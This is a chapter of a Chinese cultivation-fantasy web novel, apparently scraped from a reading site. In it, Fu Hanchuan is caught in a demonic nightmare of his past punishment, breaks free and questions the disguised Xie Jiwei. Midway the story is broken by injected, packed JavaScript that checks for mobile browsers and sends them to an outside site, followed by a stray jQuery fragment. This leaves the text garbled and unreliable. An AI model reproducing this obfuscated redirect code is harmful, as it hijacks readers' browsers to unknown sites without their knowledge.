11. 透骨
作品:《修真界白月光回来了》 这个微妙的氛围很快被破坏了,因为又有一人大步走进院内,朗声道:“——寒川!我接到你的传信,却还是晚了一步。没事吧?”
来人约莫三四十岁年纪,一身青衣,面容含笑,蔼然可亲,气蕴内敛,竟也是大乘期修为。
院内修士纷纷为他让开路,齐齐行礼:“崇霄仙君。”
来人虚扶起众人,道:“诸位不必多礼。我和寒川本欲前往''鸿鹄会'',途经此地,却察得邪魔踪迹,因此前来除魔。”
他看向傅寒川手中禁锢的黑雾,笑道:“我不过晚来一步,看来你已经解决了。”
傅寒川颔首,道:“''鸿鹄会''在即,我需先行一步,便有劳师叔将它押回仙盟。”
来人正是谢济微和傅寒川的师叔,崇霄仙君江谈决,也是如今屈指可数的大乘期修士之一,在仙盟中担任重职。
不同于傅寒川以严厉冷酷出名,他待人亲近,谈吐风雅,令众多修士如沐春风,因此在修真界名声颇佳,甚至隐隐有超过谢济微在世时的趋势。
江谈决伸出手,掌心浮现出和黑雾四周如出一辙的禁锢纹路,从他手中向黑雾蔓延而去。就在即将要触碰到黑雾的那一刻,原本属于傅寒川的禁锢骤然炸开,黑雾失去束缚,瞬间四面逸散,将傅寒川整个人都包裹了起来!
那实在太突然了,几乎没人能反应过来。而傅寒川只觉得眼前一暗,黑雾化为千万细缕,从四面八方钻进他的身体,深深钉进了他的经脉。
一开始只如针扎般刺痛,却在顷刻间变为深入骨髓的钻心痛苦。那样的痛,却令他的感知在那一瞬间无比敏锐清晰,甚至能清楚地“看”到每一个人的神情——震惊的、惊慌的,以及站在人群之外,略微诧异而微微睁大眼睛的谢济微。
这样的痛楚却如此熟悉,曾在多年前辗转折磨他,无数次潜入他的噩梦中;几百年过去,本以为早已烟消云散,却又再次出现了。
意识混沌之中他看见自己跪在冰冷的台阶上,纷纷扬扬的飞雪落在他的肩上,融化时寒意透骨,然而他已经感觉不到了,因为有千百根骨钉钉入他的身体,剧痛下每一处的经脉都被阻塞,灵力滞涩无法找到出口,只能在他的身体里横冲直撞。长久的折磨令他几乎无法思考,意识中只剩下眼前的一切。
而遥远的台阶之上,熟悉的人影手持长剑,居高临下地俯视着他。
他略微向前倾,仅仅是这样的动作便已耗尽他全身的力气:“……弟子违反门规,前来领罚。”
那人落到他面前,衣袖的纹路熟悉无比,他勉力抬起头,声音中竟然带了一点从未有过的恳求:“师姐……我知错了。”
谢济微没有回答,手中长剑轻轻横在了他的颈侧。
那柄邪剑从来没有对他真正出手过,因此他也从不知道这把剑的凶名所在,现在才真正体会到了:肌肤与剑身相触的那一瞬间,绝望的哀号声肆虐了他的脑海,几乎将他最后一点意识也摧毁殆尽。
他慢慢闭上眼睛,心中苦涩异常,然而却又如释重负,只是还有最后一点遗憾,最终要伴随他化为灰烬——
“你何错之有?”面前的人说。
他猝然睁开眼,只见谢济微将剑偏离了一点,温柔地看着他:“你只是顺心而为罢了……亡国之仇,焉能不报?你潜心修炼,不就是为了手刃仇敌?错的是我,否则你也不用伤害自己到如此地步。”
她的面容、说话语调都与往常一致,挑不出任何异常,然而傅寒川却隐隐有些不安,低声道:“不。您没有错……”
谢济微道:“若非我告诉你封印自身修为的方法,你又怎会用千根骨钉钉入自己的身体,只为不让自己用出半分灵力?其实我一直很后悔,”
她走进一步,熟悉的气息笼罩住了他:“若我能早一点明白自己的心意,是否不会让你承受这样的痛苦?”
傅寒川霍然抬头,自从百年前她离开,他便只能靠记忆中的时光熬过每一日,然而现在竟然能在这里看见她,如此真实、如此动人,几乎让人沉溺其中,就像一场甜美的梦。
然而他死死盯着她,本应被封印的灵力隐隐浮现出他的身体,手中渐渐出现了一柄长剑的雏形:“你不是她!——别用她的脸!”
长剑顷刻成形,铮鸣出鞘,气劲横扫,将周围的一切都化为虚无,重新回到了几百年后的郊边小院内。
院内众人还僵在原地,震惊地看着傅寒川。不知何时傅寒川的剑已经出鞘,穿过了黑雾,将它钉在空中。一般的剑无法伤害邪魔,然而傅寒川的本命剑“戮恶”至正怯邪,相当克制它们。
而另一边的江谈决离他太近了,在这个距离下,剑尖几乎要刺进他的眉心。
江谈决神情愕然,似乎想退开,却被剑势压住,动弹不得。他和傅寒川虽然同在大乘期,然而他却比傅寒川要低一个小境界,看起来只差一点,却是天差地别。
傅寒川轻轻呼出一口气,他其实仍然由于强行挣脱噩梦而头疼欲裂,但他面上丝毫不显,同时烙印在神魂深处的一个印记渐渐发烫,平息他沸腾的识海。那是许久以前谢济微留给他的封印,起初只是阻止他滥用灵力,后来主人死亡,却成为抑制他失控的印记。
斯人已逝,她留下的东西却仍然长久地陪伴他。
他收回长剑,“戮恶”一寸寸穿过黑雾,激起里面一连串惨叫,颓然地栽倒在地上。而不远处谢济微袖中捏诀的手悄然滑落,手心中的法阵伴随着傅寒川神魂中的印记渐渐黯淡。
傅寒川道:“它的魔气已经尽数耗尽,不需再加禁锢了。不过师叔回去,仍然需要提防它的同伙。”
江谈决应是,这时一直等候在院外的城主听到消息,连忙走进来,看到事情已经解决了,便连连感谢。
一番寒暄过后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313358|167312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江谈决先行离开,一众修士也陆续回到了自己的房内,只剩下谢济微、傅寒川、城主以及宫止水。
城主正想说些什么,忽见傅寒川转向谢济微,道:“我还有一件事,想要请教道友。”
谢济微笑道:“盟主客气了,请讲。”
傅寒川道:“刚才在城外,我察觉到另外一位大乘期修士的踪迹。只是当我赶来时,却发现她的神魂踪影已经完全不见了。不知道友可有看到这位修士?”
说罢他紧紧盯着谢济微,然而谢济微露出几分恰到好处的诧异:“并不曾。我不过金丹修为,倘若盟主也发现不了,我等更加察觉不了。”
这确实很有道理,然而傅寒川并没有被说服,继续问道:“当今大乘修士所剩无几,更无人修为在我之上,绝无可能消失得无影无踪。既然你没有看到人,那我换个问法,你有无发现异样?”
谢济微茫然:“今晚最大的异常,便是邪魔罢?”她示意不远处的尸体,淡淡道:“若是盟主实在好奇,不如传信于诸位大乘修士,一问究竟?”
城主和宫止水感觉到微妙的不对劲,却听傅寒川低声道:“我并没有怀疑的意思。只是那道神魂……对我非常重要。”
那语气竟然有点委曲求全的意思,谢济微端详他片刻,终于柔和道:“或许她也有为难之处,才想方设法避开你。等你再次见到她之时,便能问清楚了。”
城主和宫止水丈二和尚摸不着头脑,却见傅寒川眼神微微一亮,放弃了追问,转而道:“你和这位……”他看了看旁边的宫止水,继续道:“宫少城主,可是要去''鸿鹄会''?今日相逢,也算有缘,不如与我一同前去?”
城主大喜,若跟着傅寒川一起赴会,其他修士必然会看在他的面上给谢宫二人几分礼遇,即使宫止水无意得罪别人,也不敢轻易对她下手。他没想到今晚竟然有这样的意外之喜,当下就把之前的事抛得一干二净,连忙赞成。
然而宫止水心有疑虑,不禁看向谢济微。谢济微笑道:“那自然是再好不过了。我没意见,少城主呢?”
城主全程不在院内,因此不觉得有异常,然而宫止水目睹了谢傅二人的交谈,心里隐隐觉得没那么简单,但是眼见谢济微欣然答应,她只能压下疑问,也应下了。
于是城主便将三人领回到府中,待休整一番后,明日再出发。
翌日清晨,傅寒川从储物囊中拿出一个木制行舟,那舟不过巴掌大小,但是灌入灵力后迅速长成一个能够容纳七八人的木舟。这是仙盟统一产出的代步工具,由器修制成,木舟大小视使用者的灵力强弱,方便多名修士一同出行。
临行前城主拉住宫止水又细细叮嘱了一番,才将三人送到舟上。木舟凌空之后很快消失在了视线之内,城主遥望天际,不禁心生感慨,回头却看见夫人静静站在身侧。两人相视片刻,忽然会心一笑,相携走回府内。